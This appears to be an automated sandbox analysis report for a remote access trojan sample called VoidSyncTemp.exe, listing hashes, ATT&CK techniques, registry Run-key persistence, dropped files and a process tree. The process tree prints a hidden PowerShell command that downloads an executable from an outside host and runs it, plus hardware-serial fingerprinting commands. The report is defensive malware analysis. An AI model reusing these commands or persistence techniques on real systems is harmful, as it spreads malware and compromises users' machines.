darksiderat | 27d9c2006a4d4ee93ad82c9f4ccb5aec375f990a5192a1b8c517330c0f644fc5

Analysis

user interaction
yes
max time kernel
150s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/07/2026, 00:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VoidSyncTemp.exe
Size 2.8MB
Sample260730-a3k79ahe93
SHA256 27d9c2006a4d4ee93ad82c9f4ccb5aec375f990a5192a1b8c517330c0f644fc5
MD5 44526cead5e3910f5dae7113e898930f
SHA1 a2dda18c4cf0baebad76d1661319d34c74a8a205
SHA512 010b5ce803ea18d1f271c5410c5e8f13eed22180ad0404184c45b610d99907c873839f91a7e97d2de1d4257d2dc83834d14d6e7dee86bf99df14a564a607c1c2
SSDEEP 49152:t4TLTJPkEp2UFnQmqPsP857IJh0xJ7J9eI0WywGUyws:ILRkEp+mqPsP857js
TLSH
T1F0D5DF07F7A101BDE1679434CA628307F7317C551B20DB8F33A81A695FA72E06DBAB91
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution darksiderat persistence trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral1/files/0x00110000000231f3-92.dat	family_darksiderat

Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	6116	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6116	powershell.exe
3580	powershell.exe
5500	powershell.exe
4948	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
8	6116	powershell.exe

Executes dropped EXE 7 IoCs

pid	Process
5960	voidsynctemp.exe
5992	icsys.icn.exe
1380	explorer.exe
1712	spoolsv.exe
6080	svchost.exe
5440	spoolsv.exe
3936	BK762772.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	svchost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\explorer.exe	svchost.exe
File opened for modification	C:\Windows\SysWOW64\explorer.exe	explorer.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\resources\svchost.exe	spoolsv.exe
File opened for modification	C:\Windows\Resources\tjud.exe	explorer.exe
File opened for modification	C:\Windows\Resources\Themes\icsys.icn.exe	VoidSyncTemp.exe
File opened for modification	\??\c:\windows\resources\themes\explorer.exe	icsys.icn.exe
File opened for modification	\??\c:\windows\resources\spoolsv.exe	explorer.exe

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1164	cmd.exe
2868	cmd.exe
1724	cmd.exe
5756	cmd.exe
2060	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VoidSyncTemp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icsys.icn.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
5992	icsys.icn.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
5960	voidsynctemp.exe
1380	explorer.exe
6080	svchost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6116	powershell.exe
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeIncreaseQuotaPrivilege	3580	powershell.exe
Token: SeSecurityPrivilege	3580	powershell.exe
Token: SeTakeOwnershipPrivilege	3580	powershell.exe
Token: SeLoadDriverPrivilege	3580	powershell.exe
Token: SeSystemProfilePrivilege	3580	powershell.exe
Token: SeSystemtimePrivilege	3580	powershell.exe
Token: SeProfSingleProcessPrivilege	3580	powershell.exe
Token: SeIncBasePriorityPrivilege	3580	powershell.exe
Token: SeCreatePagefilePrivilege	3580	powershell.exe
Token: SeBackupPrivilege	3580	powershell.exe
Token: SeRestorePrivilege	3580	powershell.exe
Token: SeShutdownPrivilege	3580	powershell.exe
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeSystemEnvironmentPrivilege	3580	powershell.exe
Token: SeRemoteShutdownPrivilege	3580	powershell.exe
Token: SeUndockPrivilege	3580	powershell.exe
Token: SeManageVolumePrivilege	3580	powershell.exe
Token: 33	3580	powershell.exe
Token: 34	3580	powershell.exe
Token: 35	3580	powershell.exe
Token: 36	3580	powershell.exe
Token: SeDebugPrivilege	5500	powershell.exe
Token: SeIncreaseQuotaPrivilege	5500	powershell.exe
Token: SeSecurityPrivilege	5500	powershell.exe
Token: SeTakeOwnershipPrivilege	5500	powershell.exe
Token: SeLoadDriverPrivilege	5500	powershell.exe
Token: SeSystemProfilePrivilege	5500	powershell.exe
Token: SeSystemtimePrivilege	5500	powershell.exe
Token: SeProfSingleProcessPrivilege	5500	powershell.exe
Token: SeIncBasePriorityPrivilege	5500	powershell.exe
Token: SeCreatePagefilePrivilege	5500	powershell.exe
Token: SeBackupPrivilege	5500	powershell.exe
Token: SeRestorePrivilege	5500	powershell.exe
Token: SeShutdownPrivilege	5500	powershell.exe
Token: SeDebugPrivilege	5500	powershell.exe
Token: SeSystemEnvironmentPrivilege	5500	powershell.exe
Token: SeRemoteShutdownPrivilege	5500	powershell.exe
Token: SeUndockPrivilege	5500	powershell.exe
Token: SeManageVolumePrivilege	5500	powershell.exe
Token: 33	5500	powershell.exe
Token: 34	5500	powershell.exe
Token: 35	5500	powershell.exe
Token: 36	5500	powershell.exe
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeIncreaseQuotaPrivilege	4948	powershell.exe
Token: SeSecurityPrivilege	4948	powershell.exe
Token: SeTakeOwnershipPrivilege	4948	powershell.exe
Token: SeLoadDriverPrivilege	4948	powershell.exe
Token: SeSystemProfilePrivilege	4948	powershell.exe
Token: SeSystemtimePrivilege	4948	powershell.exe
Token: SeProfSingleProcessPrivilege	4948	powershell.exe
Token: SeIncBasePriorityPrivilege	4948	powershell.exe
Token: SeCreatePagefilePrivilege	4948	powershell.exe
Token: SeBackupPrivilege	4948	powershell.exe
Token: SeRestorePrivilege	4948	powershell.exe
Token: SeShutdownPrivilege	4948	powershell.exe
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeSystemEnvironmentPrivilege	4948	powershell.exe
Token: SeRemoteShutdownPrivilege	4948	powershell.exe
Token: SeUndockPrivilege	4948	powershell.exe
Token: SeManageVolumePrivilege	4948	powershell.exe
Token: 33	4948	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4744	VoidSyncTemp.exe
4744	VoidSyncTemp.exe
5992	icsys.icn.exe
5992	icsys.icn.exe
1380	explorer.exe
1380	explorer.exe
1712	spoolsv.exe
1712	spoolsv.exe
6080	svchost.exe
6080	svchost.exe
5440	spoolsv.exe
5440	spoolsv.exe
5960	voidsynctemp.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4744 wrote to memory of 5960	4744	VoidSyncTemp.exe	85
PID 5960 wrote to memory of 1164	5960	voidsynctemp.exe	86
PID 4744 wrote to memory of 5992	4744	VoidSyncTemp.exe	88
PID 1164 wrote to memory of 2868	1164	cmd.exe	89
PID 5960 wrote to memory of 1724	5960	voidsynctemp.exe	91
PID 5992 wrote to memory of 1380	5992	icsys.icn.exe	93
PID 2868 wrote to memory of 6116	2868	cmd.exe	94
PID 1380 wrote to memory of 1712	1380	explorer.exe	95
PID 1724 wrote to memory of 3580	1724	cmd.exe	96
PID 1712 wrote to memory of 6080	1712	spoolsv.exe	97
PID 6080 wrote to memory of 5440	6080	svchost.exe	98
PID 5960 wrote to memory of 5756	5960	voidsynctemp.exe	102
PID 5756 wrote to memory of 5500	5756	cmd.exe	104
PID 5960 wrote to memory of 2060	5960	voidsynctemp.exe	105
PID 2060 wrote to memory of 4948	2060	cmd.exe	107
PID 6116 wrote to memory of 3936	6116	powershell.exe	108

C:\Users\Admin\AppData\Local\Temp\VoidSyncTemp.exe
"C:\Users\Admin\AppData\Local\Temp\VoidSyncTemp.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4744
- \??\c:\users\admin\appdata\local\temp\voidsynctemp.exe
  c:\users\admin\appdata\local\temp\voidsynctemp.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK762772.exe; Start-Process -FilePath $env:TEMP\BK762772.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK762772.exe; Start-Process -FilePath $env:TEMP\BK762772.exe -WindowStyle Hidden }"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2868
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK762772.exe; Start-Process -FilePath $env:TEMP\BK762772.exe -WindowStyle Hidden }"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:6116
      - C:\Users\Admin\AppData\Local\Temp\BK762772.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK762772.exe"
        6⤵
        Executes dropped EXE
        
        PID:3936
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C powershell -command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:3580
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C powershell -command "(Get-CimInstance Win32_BaseBoard).SerialNumber"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(Get-CimInstance Win32_BaseBoard).SerialNumber"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:5500
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C powershell -command "Get-CimInstance Win32_PhysicalMedia | Select-Object -ExpandProperty SerialNumber"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-CimInstance Win32_PhysicalMedia | Select-Object -ExpandProperty SerialNumber"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:4948
- C:\Windows\Resources\Themes\icsys.icn.exe
  C:\Windows\Resources\Themes\icsys.icn.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5992
- - \??\c:\windows\resources\themes\explorer.exe
    c:\windows\resources\themes\explorer.exe
    3⤵
    - Modifies visibility of hidden/system files in Explorer
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in System32 directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - \??\c:\windows\resources\spoolsv.exe
      c:\windows\resources\spoolsv.exe SE
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1712
    - - \??\c:\windows\resources\svchost.exe
        
        c:\windows\resources\svchost.exe
        5⤵
        Modifies visibility of hidden/system files in Explorer
        Executes dropped EXE
        Adds Run key to start application
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:6080
      - \??\c:\windows\resources\spoolsv.exe
        
        c:\windows\resources\spoolsv.exe PR
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
MD5 3bfc414667e1ebc31e9259fa1db290fa
SHA1 9bff989429779efef334e5524a362e7b6ff266cb
SHA512 e6cb000e8f900132f7dc661f943b8e91e945d171157ff3289b91e9d79f70230e363ed65b7ec97f451b376cf4706a14de9a86193e72dcea8fe3aa8c86c6117d13
TLSH
T1E371BF323375B0D4C9567F072A2819C063BF4396EA98AF4CB25C621ED92751B9B122F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 89683e01bd0bec04def763fbcca08a6fcfe5d860c540db86669c85b7c607c03e
MD5 e669b22ea12c71168626a3a5865420d3
SHA1 9a4ace6e3990fc7d718dc1fab1cd53f22b66d8a4
SHA512 7a904debfd982e8d9eb331d5065b9cf684ff09513f1e5dbef006e369470611b358712a3a3901f0cccd5b17425267d9a74318c5023114c0c65c0e4db49fc1a9c2
TLSH
T186218727B39DC821CC99153A209CAC1172B683C7809ECF8F6FC0D224A07FAC4CB72594
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ec78f7b03043cb62799bc71a691dd0c0c3bc8813459e958c78e337d6a8199ba1
MD5 7d6cc7aee08a5073cb2c3e98ad23b26c
SHA1 3c6451bd5b1b5d3ab4f7249017957e7fe546ea2f
SHA512 879e41ce1ac86564217cbff02e0a8e4a155a35b04123d2c7beb51f884cab92b412e0def8f1c06518308fe5e9d37200764b6611ae74a7bf0870cd655264a339a1
TLSH
T104216527B39CC961CC95263A209DAC5172B683D7809ECF8F6EC0E624A17FAC4CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 97af1df54307e7344343841ebe2c7f7c2123a08e11bbb65efbaf3f18a8787678
MD5 c9ea146709caf09307ab6f3b9744b7c8
SHA1 133973fd03c7be2d5f3e04c7508e4dc9481a1702
SHA512 ca254fe099306a61f4a04ec8ead76bef0c31bb664fc6222c84983a82361abbb7307d6f7d22f1458bf8a92086283e7be73957590dca5792a2436e1be05ef5ffef
TLSH
T139215627B39CC921CC86163A109D9C1176B683C7819EDF9FABC4D614A07F999CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

BK762772.exe

Path C:\Users\Admin\AppData\Local\Temp\BK762772.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_tyrt1o5l.svd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tyrt1o5l.svd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

voidsynctemp.exe

Path C:\Users\Admin\AppData\Local\Temp\voidsynctemp.exe
Size 2.7MB
SHA256 c58dc269d7e6a3324c4c5998dcee30701514ce2b2b1bed812a974a914c82d4c2
MD5 73c4e72aaddd36e19b98d7bcf91e5df7
SHA1 b57280b3849376e1f36660efb163b80a63f55163
SHA512 0d83e495c1d5ec3b977251e9a6970fc05a4efb13fc0126448896ffa26b94752c2b827ea6baa2db3a6a7f74fdd940b64a703e1df28ed34a1d41b53dfac7b70954
SSDEEP 49152:DTLTJPkEp2UFnQmqPsP857IJh0xJ7J9eI0WywGUyw:fLRkEp+mqPsP857j
TLSH
T1DBD5CF07F3A541ECE167A538CA629346F3717C551B20C78F33A80A695FA72F05DBAB90
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

explorer.exe

Path C:\Windows\Resources\Themes\explorer.exe
Size 135KB
SHA256 697e00c3815e3717079f1180c0899ab67483eb9162bd0461950742dd0ec32ec3
MD5 510e9696409724738ca1dd43d02daa91
SHA1 b898fb64007109485c33762642eb2ca13d88f6b8
SHA512 f098dda67f57eb7556b08d908242a79053294b4fa708b124ccb6f941b24f10ba4539efeaddb36184a70bb97be6b0256bde75627c80bef0522361dc981a960a33
SSDEEP 1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVhpalk:UVqoCl/YgjxEufVU0TbTyDDalQlk
TLSH
T1E4D30A33BD105C3ED95185F279A6DA2EBE215E350BA1BD073296BB2029B214772F131F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icsys.icn.exe

Path C:\Windows\Resources\Themes\icsys.icn.exe
Size 135KB
SHA256 795ba21ace8bad935fa9b040269fe8bc8b014c9bd933d2549dba480520cfc378
MD5 9fe39e2b7a3860afa9919b82962d432a
SHA1 977c3f17c3f430b4b45a0560252d3507f34f931d
SHA512 c116fec2113fbe333d701073ce6df3c9bdfb164ffcd06b16fd7202578a250703d24875e228acd7d3cacea69b9a53b7d2de1512dd81d0f9c6e696a6fc58d55af2
SSDEEP 1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVhpalZhhhhhhhhh1:UVqoCl/YgjxEufVU0TbTyDDalQl9
TLSH
T1DFD3F8237E515C3ED816C9F168A5DA2ABA122E3A1BF4AE076756FB00367190375F130F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svchost.exe

Path C:\Windows\Resources\svchost.exe
Size 135KB
SHA256 c8c41c704e0ac756d9c0ca11a6e48eafcd2dba1308e653edafa0f2f50b2b7b12
MD5 e099cda7ab92832ec4658a0af37d8db1
SHA1 a5cea5d24d0100215945bc6a62f268ad4358173c
SHA512 6f9547da4db5d50ea9ce8676a890d96f251e0a66a7613fa01e01688ec45712dfc76fc1e73af984864f5c8d49df06d6353e6971f8d5ec8b42031ad2f373d2e527
SSDEEP 3072:UVqoCl/YgjxEufVU0TbTyDDalQlQ666666666666666666666666666666666668:UsLqdufVUNDax666666666666666666f
TLSH
T1C4D30A23BE104C3EE81185F068A5E769FA52AE370BE1AE477296FB04257224775F530F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

spoolsv.exe

Path \??\c:\windows\resources\spoolsv.exe
Size 135KB
SHA256 5ca7a919a6d320859a9c41de67005c55d6586e3a0f550753ca82c6f3ddd59f89
MD5 e0c6cc2116ada1d66de12c6dc17e3a31
SHA1 64421e2f791da29f7eb07417d81f69b6f1e5b8d5
SHA512 ce10676af962e68bb0578e322bd9b325d88a40da715858ee6ee9fb0ee24b5ef350db5af23b28f0d2b128a8e5208295a310d9e209f08d0d4c012fbd9f1b3ebe36
SSDEEP 1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVhpalm:UVqoCl/YgjxEufVU0TbTyDDalQlm
TLSH
T1D5D3D7137A105D3EE851CEF238A5D76AB9226F361BE06E0B7352BB1025B214376F461F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1380-99-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/1712-62-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/1712-32-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/3580-65-0x0000028B7A330000-0x0000028B7A35A000-memory.dmp

Download

memory/3580-66-0x0000028B7A330000-0x0000028B7A354000-memory.dmp

Download

memory/4744-64-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/4744-0-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/5440-61-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/5960-9-0x0000000140000000-0x00000001402AE000-memory.dmp

Download

memory/5960-98-0x0000000140000000-0x00000001402AE000-memory.dmp

Download

memory/5992-13-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/5992-63-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/6080-100-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/6116-36-0x000001E7C9470000-0x000001E7C9492000-memory.dmp

Download